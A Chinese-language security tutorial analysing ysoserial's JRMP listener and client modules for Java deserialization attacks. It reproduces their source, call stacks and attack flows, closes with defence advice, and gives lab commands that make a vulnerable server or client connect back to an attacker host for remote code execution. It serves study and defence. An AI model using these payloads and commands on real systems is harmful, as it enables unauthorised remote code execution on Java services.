Java安全之ysoserial JRMP分析
字数 2482 2025-08-20 18:17:07
Java安全之ysoserial JRMP分析教学文档
一、JRMP协议概述
JRMP(Java Remote Method Protocol)是Java RMI(Remote Method Invocation)的底层协议,用于实现Java远程方法调用。在安全研究中,JRMP可以被利用来构造特定的反序列化攻击链。
二、相关核心类分析
1. sun.rmi.transport.tcp.TCPEndpoint
- 表示基于TCP的远程通信终点(endpoint)
- 包含远程主机的主机名和端口号
- 用于建立TCP连接
2. java.rmi.server.ObjID
- 在Java RMI中唯一标识远程对象
- 每个远程对象都有一个唯一的ObjID
- 用于在远程通信中识别和定位对象
3. sun.rmi.server.UnicastRef
- 表示单播(Unicast)通信模式下的远程引用
- 实现了RemoteRef接口
- 用于在远程对象之间进行通信
4. sun.rmi.transport.LiveRef
- 表示远程对象的活动引用
- 包含远程对象的通信地址、端口和标识符
- 用于建立与远程对象的通信连接
5. java.rmi.server.RemoteObjectInvocationHandler
- 实现RMI中的代理模式
- 充当远程对象的调用处理程序
- 负责处理与远程对象之间的通信和结果返回
6. sun.rmi.server.UnicastServerRef
- 实现基于单播通信方式的服务器端引用
- 管理服务器端引用的创建、通信和远程方法调用转发
- 处理序列化和反序列化
7. sun.rmi.transport.Target
- 封装远程对象信息和远程通信目标
- 包含远程对象本身、骨架、目标地址和对象标识符
- 用于在远程通信中确定目标
8. java.rmi.dgc.DGC
- 实现分布式垃圾回收的核心组件
- 管理远程对象的生命周期和执行垃圾回收操作
- 确保远程对象资源正确释放
9. sun.rmi.transport.DGCImpl_Skel
- 实现分布式垃圾回收的关键组件
- 作为服务器端的骨架类
- 接收远程垃圾回收调用请求并分派给具体实现
三、攻击模式分析
1. 对服务端的攻击模式(payloads.JRMPListener + exploit.JRMPClient)
payloads.JRMPListener生成payload
public UnicastRemoteObject getObject(final String command) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class,
RemoteObject.class,
new Class[] { RemoteRef.class },
new Object[] { new UnicastServerRef(jrmpPort) });
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
关键点:
- 使用Reflections.createWithConstructor构造UnicastRemoteObject对象
- 将端口作为参数创建UnicastServerRef对象
- 设置UnicastRemoteObject对象的port属性
反序列化过程分析
函数调用栈:
listen:319, TCPTransport (sun.rmi.transport.tcp)
exportObject:249, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:208, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:320, UnicastRemoteObject (java.rmi.server)
reexport:266, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)
关键点:
- 反序列化触发UnicastRemoteObject的readObject方法
- readObject调用reexport方法
- reexport调用exportObject方法
- 最终在TCPTransport.listen方法中创建服务器套接字并监听
exploit.JRMPClient攻击流程
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = SocketFactory.getDefault().createSocket(hostname, port);
DataOutputStream dos = new DataOutputStream(s.getOutputStream());
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);
objOut.writeObject(payloadObject);
}
关键点:
- 建立与目标服务器的连接
- 写入JRMP协议头信息
- 写入特定的DGC调用标识(-669196253586618813L)
- 发送payload对象
2. 对客户端的攻击模式(exploit.JRMPListener + payloads.JRMPClient)
exploit.JRMPListener工作原理
public void run() {
while(!this.exit && (s = this.ss.accept()) != null) {
InputStream is = s.getInputStream();
DataInputStream in = new DataInputStream(is);
int magic = in.readInt();
short version = in.readShort();
byte protocol = in.readByte();
switch(protocol) {
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
}
}
}
private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
int op = in.read();
switch(op) {
case TransportConstants.Call:
doCall(in, out, payload);
break;
}
}
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
// 限制可反序列化的类
}
};
out.writeByte(TransportConstants.Return);
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val", payload);
oos.writeObject(ex);
}
关键点:
- 监听指定端口等待连接
- 处理JRMP协议消息
- 构造包含payload的异常响应
- 将payload写入BadAttributeValueExpException的val属性
payloads.JRMPClient构造
public Registry getObject(final String command) throws Exception {
String host = command.substring(0, command.indexOf(':'));
int port = Integer.valueOf(command.substring(command.indexOf(':') + 1));
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(
JRMPClient.class.getClassLoader(),
new Class[] { Registry.class },
obj);
return proxy;
}
关键点:
- 创建ObjID标识远程对象
- 使用TCPEndpoint指定目标地址
- 创建UnicastRef和LiveRef
- 使用RemoteObjectInvocationHandler创建代理对象
反序列化触发流程
函数调用栈:
newCall:340, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
关键点:
- 反序列化触发RemoteObject的readObject方法
- readObject调用readExternal方法
- 最终通过DGCClient.registerRefs注册引用
- 触发与恶意JRMPListener的通信
四、攻击流程总结
1. 对服务端的攻击流程
- 攻击者使用vps启用ysoserial.exploit.JRMPListener,设置命令、端口和利用模块,生成payload1
- 攻击者本地使用payloads.JRMPClient生成payload2,设置vps的ip与端口
- 攻击者将payload2发送至存在漏洞的目标服务器
- 目标服务器反序列化过程中会与exploit.JRMPListener进行通信
- vps将payload1发送至目标漏洞服务器
- 漏洞服务器反序列化payload1,触发RCE
2. 对客户端的攻击流程
- 攻击者使用exploit.JRMPListener作为恶意服务器端,等待目标连接
- payloads.JRMPClient构造向JRMPListener发起远程对象请求的payload
- 目标客户端反序列化payload后连接恶意JRMPListener
- JRMPListener返回包含恶意payload的响应
- 客户端处理响应时触发反序列化漏洞
五、防御建议
- 升级Java环境,使用最新版本
- 限制反序列化的类,使用白名单机制
- 使用安全管理器限制网络访问
- 监控和过滤可疑的JRMP流量
- 对RMI服务进行适当的网络隔离
六、参考资源
- https://www.cnblogs.com/nice0e3/p/14333695.html
- https://xz.aliyun.com/t/2651
- https://xz.aliyun.com/t/2650
七、实验环境建议
- JDK版本:8u66(漏洞存在版本)
- 工具:ysoserial-all.jar
- 测试命令示例:
# 对服务端攻击 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/cve-2017-3248' java -jar ysoserial.jar JRMPClient 'vpsIP:PORT' > vulrServer # 对客户端攻击 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'calc.exe' java -jar ysoserial.jar JRMPClient 'attackerIP:9999' | sendToVictim